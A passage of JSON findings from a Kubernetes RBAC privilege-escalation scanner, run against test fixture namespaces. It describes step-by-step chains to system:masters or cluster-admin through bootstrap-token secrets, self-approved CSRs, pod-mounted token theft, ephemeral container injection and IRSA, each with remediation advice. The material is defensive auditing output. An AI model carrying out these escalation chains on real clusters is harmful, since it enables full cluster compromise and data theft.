    "title": "`ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` can impersonate **`system:masters`** in 3 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (3 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` → `/` via `bootstrap_token_mint` (create secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name\n  2. `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` → `ServiceAccount/csr-fixtures/sa-csr-mint` via `node_token_request` (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount csr-fixtures/sa-csr-mint, whose pod is bound there\n  3. `ServiceAccount/csr-fixtures/sa-csr-mint` → `/` via `csr_approve` (create certificatesigningrequests + update certificatesigningrequests/approval): can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "nodeid-tokenwriter",
      "namespace": "nodeid-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter`.",
      "Acting as `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter`, the attacker writes a Secret of type `bootstrap.kubernetes.io/token` in kube-system (`create secrets in kube-system`). The bootstrap-token authenticator treats it as a credential for `system:bootstrap:\u003cid\u003e` in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.",
      "Holding a node identity, the attacker requests a token for ServiceAccount `ServiceAccount/csr-fixtures/sa-csr-mint` through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as `ServiceAccount/csr-fixtures/sa-csr-mint`.",
      "Acting as `ServiceAccount/csr-fixtures/sa-csr-mint`, the attacker submits a CertificateSigningRequest whose Subject DN claims a privileged identity, then self-approves it via the `certificatesigningrequests/approval` subresource (`create certificatesigningrequests + update certificatesigningrequests/approval`). The apiserver maps a client cert's Common Name onto the username it authorizes and never checks whether that identity is one Kubernetes would have issued, so `CN=system:serviceaccount:kube-system:\u003csa\u003e` authenticates as that ServiceAccount. (The textbook `O=system:masters` claim is blocked for this signer by the default CertificateSubjectRestriction admission plugin; the CN route is not.) The cert persists after the RBAC grant is revoked; with no CRL in Kubernetes, only a CA rotation invalidates it.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. bootstrap_token_mint [create secrets in kube-system]",
        "2. node_token_request [node authorizer: create serviceaccounts/token for pods bound to the node]",
        "3. csr_approve [create certificatesigningrequests + update certificatesigningrequests/approval]"
      ],
      "first_action": "bootstrap_token_mint",
      "hop_count": 3,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "bootstrap_token_mint",
        "node_token_request",
        "csr_approve"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `create secrets in kube-system` that enables the first hop (`ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` → `/`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `create secrets in kube-system` that enables the first hop (`ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` → `/`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "bootstrap_token_mint",
        "technique": "KUBE-PRIVESC-026",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "nodeid-tokenwriter",
          "namespace": "nodeid-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create secrets in kube-system",
        "gains": "can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name",
        "source_binding": "nodeid-tokenwriter",
        "source_role": "nodeid-tokenwriter",
        "binding_namespace": "kube-system"
      },
      {
        "step": 2,
        "action": "node_token_request",
        "technique": "KUBE-NODE-AUTHZ",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "nodeid-tokenwriter",
          "namespace": "nodeid-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-csr-mint",
          "namespace": "csr-fixtures"
        },
        "permission": "node authorizer: create serviceaccounts/token for pods bound to the node",
        "gains": "as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount csr-fixtures/sa-csr-mint, whose pod is bound there"
      },
      {
        "step": 3,
        "action": "csr_approve",
        "technique": "KUBE-PRIVESC-011",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-csr-mint",
          "namespace": "csr-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create certificatesigningrequests + update certificatesigningrequests/approval",
        "gains": "can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/privesc-fixtures/sa-secret-mint:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "CRITICAL",
    "score": 8.9,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/privesc-fixtures/sa-secret-mint` can impersonate **`system:masters`** in 3 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-secret-mint` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (3 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/privesc-fixtures/sa-secret-mint` → `/` via `bootstrap_token_mint` (create,get secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name\n  2. `ServiceAccount/privesc-fixtures/sa-secret-mint` → `ServiceAccount/csr-fixtures/sa-csr-mint` via `node_token_request` (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount csr-fixtures/sa-csr-mint, whose pod is bound there\n  3. `ServiceAccount/csr-fixtures/sa-csr-mint` → `/` via `csr_approve` (create certificatesigningrequests + update certificatesigningrequests/approval): can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-secret-mint",
      "namespace": "privesc-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-secret-mint` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/privesc-fixtures/sa-secret-mint`.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-secret-mint`, the attacker writes a Secret of type `bootstrap.kubernetes.io/token` in kube-system (`create,get secrets in kube-system`). The bootstrap-token authenticator treats it as a credential for `system:bootstrap:\u003cid\u003e` in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.",
      "Holding a node identity, the attacker requests a token for ServiceAccount `ServiceAccount/csr-fixtures/sa-csr-mint` through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as `ServiceAccount/csr-fixtures/sa-csr-mint`.",
      "Acting as `ServiceAccount/csr-fixtures/sa-csr-mint`, the attacker submits a CertificateSigningRequest whose Subject DN claims a privileged identity, then self-approves it via the `certificatesigningrequests/approval` subresource (`create certificatesigningrequests + update certificatesigningrequests/approval`). The apiserver maps a client cert's Common Name onto the username it authorizes and never checks whether that identity is one Kubernetes would have issued, so `CN=system:serviceaccount:kube-system:\u003csa\u003e` authenticates as that ServiceAccount. (The textbook `O=system:masters` claim is blocked for this signer by the default CertificateSubjectRestriction admission plugin; the CN route is not.) The cert persists after the RBAC grant is revoked; with no CRL in Kubernetes, only a CA rotation invalidates it.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. bootstrap_token_mint [create,get secrets in kube-system]",
        "2. node_token_request [node authorizer: create serviceaccounts/token for pods bound to the node]",
        "3. csr_approve [create certificatesigningrequests + update certificatesigningrequests/approval]"
      ],
      "first_action": "bootstrap_token_mint",
      "hop_count": 3,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "bootstrap_token_mint",
        "node_token_request",
        "csr_approve"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `create,get secrets in kube-system` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-secret-mint` → `/`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `create,get secrets in kube-system` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-secret-mint` → `/`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "bootstrap_token_mint",
        "technique": "KUBE-PRIVESC-026",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-secret-mint",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create,get secrets in kube-system",
        "gains": "can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name",
        "source_binding": "crb-secret-mint",
        "source_role": "cr-secret-mint"
      },
      {
        "step": 2,
        "action": "node_token_request",
        "technique": "KUBE-NODE-AUTHZ",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-secret-mint",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-csr-mint",
          "namespace": "csr-fixtures"
        },
        "permission": "node authorizer: create serviceaccounts/token for pods bound to the node",
        "gains": "as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount csr-fixtures/sa-csr-mint, whose pod is bound there"
      },
      {
        "step": 3,
        "action": "csr_approve",
        "technique": "KUBE-PRIVESC-011",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-csr-mint",
          "namespace": "csr-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create certificatesigningrequests + update certificatesigningrequests/approval",
        "gains": "can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-CLUSTER-ADMIN:ServiceAccount/privesc-fixtures/sa-pod-create-escape:cluster_admin_equivalent",
    "rule_id": "KUBE-PRIVESC-PATH-CLUSTER-ADMIN",
    "severity": "CRITICAL",
    "score": 8.850000000000001,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/privesc-fixtures/sa-pod-create-escape` can reach **cluster-admin equivalent** in 3 hop(s)",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-pod-create-escape` has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (`verbs:[*]` on `resources:[*]`). The graph search found a chain of 3 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not \"could this be exploited\" but \"how quickly\". Every hop is a built-in API operation, no exploit dev needed.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/privesc-fixtures/sa-pod-create-escape` → `ServiceAccount/privesc-fixtures/sa-ephemeral` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount privesc-fixtures/sa-ephemeral\n  2. `ServiceAccount/privesc-fixtures/sa-ephemeral` → `ServiceAccount/foothold-exec/foothold-decoy-sa` via `ephemeral_container_inject` (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount foothold-exec/foothold-decoy-sa\n  3. `ServiceAccount/foothold-exec/foothold-decoy-sa` → `/` via `wildcard_permission` (*:*:*): wildcard verbs on wildcard resources in wildcard API groups\n\nThis finding is correlated against pod-mounted ServiceAccounts and the engine's `correlate` pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pod-create-escape",
      "namespace": "privesc-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-pod-create-escape` → `cluster-admin equivalent`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/privesc-fixtures/sa-pod-create-escape` (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.",
    "attack_scenario": [
      "Attacker compromises any pod or credential associated with `ServiceAccount/privesc-fixtures/sa-pod-create-escape` (RCE in any application using its identity, leaked token, or compromised image).",
      "Acting as `ServiceAccount/privesc-fixtures/sa-pod-create-escape`, the attacker creates a pod that mounts the `ServiceAccount/privesc-fixtures/sa-ephemeral` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-ephemeral`, the attacker uses the `ephemeral_container_inject` technique to reach `ServiceAccount/foothold-exec/foothold-decoy-sa` via `update,patch pods/ephemeralcontainers`, which gains can inject an ephemeral container into pods running as ServiceAccount foothold-exec/foothold-decoy-sa.",
      "The identity `ServiceAccount/foothold-exec/foothold-decoy-sa` already holds wildcard verbs on wildcard resources (`*:*:*`), which is functionally identical to `cluster-admin`. The attacker can take any action on any resource in the cluster without further escalation.",
      "Final step: attacker now wields a credential authorized for `verbs:[*]` on `resources:[*]`. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_create_token_theft [create pods]",
        "2. ephemeral_container_inject [update,patch pods/ephemeralcontainers]",
        "3. wildcard_permission [*:*:*]"
      ],
      "first_action": "pod_create_token_theft",
      "hop_count": 3,
      "target": "cluster_admin_equivalent",
      "target_namespace": "",
      "techniques": [
        "pod_create_token_theft",
        "ephemeral_container_inject",
        "wildcard_permission"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the `create pods` capability that enables hop 1 (`ServiceAccount/privesc-fixtures/sa-pod-create-escape` → `ServiceAccount/privesc-fixtures/sa-ephemeral`).",
    "remediation_steps": [
      "Confirm the chain is real with `kubectl auth can-i` for each verb the engine cited (run as the source SA / each intermediate hop).",
      "Identify the lowest-cost hop to break (typically remove the `create pods` capability that enables hop 1 (`ServiceAccount/privesc-fixtures/sa-pod-create-escape` → `ServiceAccount/privesc-fixtures/sa-ephemeral`)); removing one mid-chain hop kills the entire path.",
      "Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.",
      "For each remaining `wildcard verbs / wildcard resources` binding in the chain, run `audit2rbac` to derive the minimum verbs the workload actually uses, then replace.",
      "Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with `verbs:[*]` on `resources:[*]` to non-system subjects, plus a CI check that re-runs `kubesplaining` against the rendered manifests of every PR."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create-escape",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-ephemeral",
          "namespace": "privesc-fixtures"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount privesc-fixtures/sa-ephemeral",
        "source_binding": "rb-pod-create-escape",
        "source_role": "r-pod-create-escape",
        "binding_namespace": "privesc-fixtures"
      },
      {
        "step": 2,
        "action": "ephemeral_container_inject",
        "technique": "KUBE-PRIVESC-013",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-ephemeral",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-decoy-sa",
          "namespace": "foothold-exec"
        },
        "permission": "update,patch pods/ephemeralcontainers",
        "gains": "can inject an ephemeral container into pods running as ServiceAccount foothold-exec/foothold-decoy-sa",
        "source_binding": "crb-ephemeral",
        "source_role": "cr-ephemeral"
      },
      {
        "step": 3,
        "action": "wildcard_permission",
        "technique": "KUBE-PRIVESC-017",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-decoy-sa",
          "namespace": "foothold-exec"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "*:*:*",
        "gains": "wildcard verbs on wildcard resources in wildcard API groups",
        "source_binding": "foothold-decoy-admin",
        "source_role": "cluster-admin"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.1",
        "title": "Ensure that the cluster-admin role is only used where required",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:cluster_admin_equivalent"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/cloud-eks-test/eks-admin-irsa:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "CRITICAL",
    "score": 8.799999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/cloud-eks-test/eks-admin-irsa` can impersonate **`system:masters`** in 2 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/cloud-eks-test/eks-admin-irsa` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (2 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/cloud-eks-test/eks-admin-irsa` → `User/arn:aws:iam::123456789012:role/AdministratorAccess` via `irsa_assume_role` (arn:aws:iam::123456789012:role/AdministratorAccess): ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA\n  2. `User/arn:aws:iam::123456789012:role/AdministratorAccess` → `/` via `aws_auth_admin` (system:masters via aws-auth): external IAM principal arn:aws:iam::123456789012:role/AdministratorAccess is mapped to system:masters via aws-auth\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "eks-admin-irsa",
      "namespace": "cloud-eks-test"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/cloud-eks-test/eks-admin-irsa` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/cloud-eks-test/eks-admin-irsa`.",
      "Acting as `ServiceAccount/cloud-eks-test/eks-admin-irsa`, the attacker uses the `irsa_assume_role` technique to reach `User/arn:aws:iam::123456789012:role/AdministratorAccess` via `arn:aws:iam::123456789012:role/AdministratorAccess`, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA.",
